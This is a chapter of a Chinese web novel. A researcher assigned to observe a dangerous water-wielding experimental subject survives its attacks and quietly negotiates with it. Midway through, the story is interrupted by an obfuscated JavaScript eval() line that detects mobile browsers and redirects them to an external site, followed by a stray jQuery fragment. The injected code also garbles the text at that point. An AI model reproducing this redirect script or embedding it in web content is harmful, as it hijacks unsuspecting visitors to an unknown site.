桑娩卡着时间,把记录提交上夏莉的终端。
在确认培养舱中的N1号实验体仍在沉睡后,她轻手轻脚地离开了实验室。
自动门在她身后无声闭合。
偌大的实验室,再次陷入无边的寂静。
浸泡在营养液中的祈桉缓缓睁开闭合的双目,看向那名研究员离开的方向。
深蓝色的眼眸中闪过厌恶的情绪。
一个小时的休息时间一晃而过,桑娩踩着最后的时限推开大门。
却被扑面而来的潮湿气息激得寒毛倒竖。
她本能地后撤了半步,反手就要关门。
然而已经迟了,肉眼可见的水雾正向她涌来,速度极快地冲向她的面门。
试图将她一击毙命。
“啧,该死。”
桑娩抬起双手,立即放出蛛丝喷向水雾。
蛛丝遇水胀大,失去粘性弹性直挺挺地拍在地上,连带着空中的水汽一起下落。
桑娩趁机猛地合上大门,再次汇聚向她冲涌而来的水雾‘砰’地一声撞在特质的门板上,瞬间化作无数水珠淅淅沥沥洒落。
她低头看了眼腕表,距离麻醉注射才过去不到一个小时,怎么会……
等等,她低头从随身携带的包里掏出员工守则。
并将它快速翻开。
指尖点着第一条,一个字一个字地向后划过。
1、换营养液时,需确认N1号实验体是否清醒,若发现实验体清醒,需立即在培养仓中释放麻醉剂。
2、请不要一直对实验体使用麻醉剂。
白到近乎透明的指尖点在第二条上,停止不动了。
桑娩的面色愈发的苍白,难道说N1号会对麻醉剂产生抗性?
那不就是意味着,越用麻醉剂她就会越危险。
但不使用麻醉剂的话,她会直接被实验体用水汽绞杀。
桑娩站在实验室的大门前,第一次感到遍体生寒。
“棠月,你怎么在这里站着?”
温和的男声从走廊尽头处传来,桑娩捏着手中的员工守则抬头。
对上那双棕色的眼眸,桑娩扬了扬手中破败不堪的册子“在等里面的实验体消气,你呢?我记得你这个时间不应该在A层。”
“实验体消气?”周生抬手推了下镜框,浅淡的眉毛皱起带着担忧“这不是助手该做的吗?”
对上桑娩的黑眸,他迟疑道“你怎么会在这儿?”
“他们没跟你说吗,夏教授指派我来这里当观测员。”
桑娩的话音刚落,周生的神情就激动起来“那你原来的研究呢?基因转换不做了吗?”
“我的工作量不大,谁都可以替代。”桑娩拿出平板,检测着室内的水雾浓度出声解释。
语气平淡,没有任何愤怒抱怨之意。
周生盯着她艳丽的眉眼,叹了口气“棠教授现阶段研究的项目和夏教授的撞了,夏教授应该是故意为难你的,小月最好去找棠教授说一下,毕竟是你爸爸。”
“怎么也不会看你在这里没命的。”
桑娩从平板上抬眼“棠辉?他知道我来这里。”
“什么时候?”
“就在刚刚。”桑娩指了指被她随意揣在兜里的黒尺。
棠辉那虚情假意的关心几乎要从屏幕中溢出来,令她作呕,叫她连看都懒得看。
不过,她抱着平板的手指,动了动。
能够离开基因转换项目,对她来说未尝不算是一个好消息。
面对那些畸形的人类,她的愧疚感日益增加。
每每都压的她无法喘息。
作为一个蓝星人,她还是无法接受这样大批量的实验体。
研究员将这些实验体,命名为堕落种。
但依她来看,这些实验体只不过也只是可怜不幸的人类而已。
被领主献祭给乌托邦的可怜人,根本没有自主选择的权利。
而其中不死鸟的人尤其的多。
周生见桑娩低着头,一副难言的神情。
顿时深深的无力感,席卷了他的全身。
但他也无能无力,三级研究员面对教授的抉择也只能捏着鼻子忍下。
可惜了。
他镜片下的眼眸扫过对面,皮肤细腻一呼一吸间都散发着风情的女人。
本来还想拿下呢。
“你呢。”桑娩的声音在长廊中响起。
“嗯?”周生从思绪中回神,“什么?”
“你还没回答我,你来这里干什么。”
桑娩疑惑地望着周生。
“哦,哦。”周生慌慌张张地举起手里的试管“我来抽取N1号实验体的血液,回去分析用。”
“那还要在等会。”桑娩将手中的平板递了过去,“实验室里的湿度还没降下来。”
周生的身子却因为她的靠近而猛地一僵。
随之而来的清香更是叫他大脑一片空白,“嗯。”他低声应道。
‘滴滴滴’被他随手放在胸口的黒尺,不断地鸣叫着。
打断了,他本来想要说的话。
周生张了张口,缓声“那我一会儿,再来。”
“行。”桑娩随口应了声。
接着低头,继续摆弄着实验室的空气净化系统。
将排风口的系统开到最大。
周生一步三回头的离开,留桑娩在原地。
但桑娩全程都没抬过一次头,叫他只得面带失望地离开。
*
桑娩百聊无赖地倚着走廊的墙壁,时不时低头扫向平板上的数值。
在湿气全部被排出后,紧闭的大门忽地自动开启。
“棠月研究员,实验室内的湿气已经全部排出,请速回实验室。”
机械的女声从实验室内传出,一遍遍不厌其烦地重复着。
桑娩抬腿踢了下空气,便匆匆向实验室赶去。
在她踏进实验室的瞬间,那一声声的机械声才终于停下。
咕噜噜——
中央的培养仓内,实验体正抱着双臂似笑非笑地看着她。
桑娩深吸一口气,抬脚在对方的注视下,顶着压力向操作台走去。
祈桉在桑娩靠近试验台的瞬间猛地上前,一拳锤在培养仓上。
冰冷的溶液伴随着他的动作,涌向透明的罩子。
身后的巨响并没有引起她的注意。
只见她缓缓拉过椅子坐下,低头摆弄着平板。
“啧。”
祈桉将头抵在玻璃上,双眸死死盯着她的背影。
桑娩顶着背后及其灼热的视线,面无表情地在祈桉的观测日志上,一字一句地敲下【疑似暴力倾向,性格及其恶劣。】
好在营养液一周一换,这一周只要她遵循着员工手册上的守则。
应该不会出什么问题…吧。
耳边砰砰作响的声音,叫桑娩满腹疑惑地在员工日志上打了个问号。
她真的能活到那个时候吗?
夜渐渐深了。
祈桉盯着拳头迅速恢复的伤口,目光沉沉。
桑娩支着下巴,在操作台上打着瞌睡。
观察员不能离开实验室超过两个小时,她今天已经用光了时间。
只能在这里凑合一晚。
“砰!”
一声巨响在培养仓处炸开,将昏睡的桑娩吵醒。
她拧眉看向N1号实验体,眉眼间笼罩着怒气。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958690|136768||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“生气了?”祈桉俯身时,发丝在营养液中缓慢飘散。
他皮笑肉不笑地低头看着身着白衣的女人。
桑娩低头避开他的视线,枕着胳膊阖眼。
假装没看见他在说什么。
“砰!”又一声巨响响起。
桑娩睫毛颤了颤,没睁眼。
但,祈桉却不会因为桑娩不睁眼而放弃惊扰这个大胆妄为,竟敢在他眼皮底子下睡觉的女人。
哪个来实验室的助手不是战战兢兢彻夜难眠。
第二天错误百出,叫他钻了空子。
哪有像她这样的…
这样、不把他看在眼里的。
祈桉默默观察着桑娩,当然他并不打算就这吗轻易地放过她。
这样对前几个观察员的亡魂来说,未免有些太不公平了不是吗。
在一片寂静中,祈桉挥手将环绕在脸周的营养液向四周挥去。
培养仓察觉到祈桉在舱体内使用异能,立即启动防御系统。
瞬间,平静的营养液中掀起了波澜。
祈桉被这不断向他涌来的电流刺的微微抽搐,但他依旧没有停下异能的意思。
“喂,你是臭虫吗?”
堪称寂静的实验室中,忽地响起凌冽的男声。
叫桑娩身子一僵,她缓缓抬头。
看向声音来源,在确认他还在培养仓内时,才松了口气。
“我在跟你说话。”祈桉抬手砸向面前不明材质的容器,“没人教过你,什么叫礼貌吗?”
“礼貌?”桑娩重复着实验体的话,嗤笑道“礼貌是对有教养的人用的,你?”
她扫视对方被电流灼伤,又快速愈合的皮肤“显然你没有教养,所以我也不需要对你讲什么礼貌。”
祈桉冷笑一声“你们把活人关在笼子里做实验的时候,怎么不谈谈教养?”
“虚伪的上等人。”话音落下,整个舱体的营养液都随之沸腾。
同时,祈桉身上的伤痕也越来越重。
桑娩不动声色地拧起眉头“我要是你,就不会这样做。”
“怎么,你怕了?”祈桉将双手拍在禁锢他的容器上方,苍白的掌心在高压玻璃下扭曲变形。
桑娩抱臂后仰,目光平静地穿透翻涌的液体“我会积蓄力量,等待他们松懈的瞬间。”
操作台的蓝光映在她脸上“毕竟你拥有所有人,都觊觎的能力。”
培养舱突然剧烈震动,祈桉的瞳孔缩成针尖大小。
“你在教唆我离开?”他侧头,似是不解。
“我是说,如果我是你的话。”桑娩弯了弯眼“况且,我哪有教唆你的能力?”
祈桉眯眼“你想得到什么?”
她笑着打了个响指“不愧是高级收容实验体,我想要的很简单。”
“安全。”桑娩收起虚假的笑容,看向祈桉无声道“在你蓄力逃亡期间的安全。”
“成为这里唯一一个活下来的观测员。”
监测器的红光在黑暗中明灭闪烁。
监控室里,值班员从瞌睡中惊醒,迷迷糊糊地睁眼,冷不丁地对上了四只猩红的复眼
“我靠!”
他狼狈地摔下椅子,又连忙爬起来,启动电击程序。
随着‘噼啪’一声轻响,焦黑的虫尸从镜头前坠落。
调转监控视角,实验室的景象映入眼帘。
苍白的灯光下,桑娩单手支颐,长发垂落在数据屏上,随着均匀的呼吸微微起伏。
而培养舱中的祈桉静静悬浮,发丝在淡蓝色营养液中如水草般飘荡,仿佛也陷入了沉睡。
值班员打了个哈欠,重新倚回椅子上。
眼皮越来越沉,又一次陷入了深眠。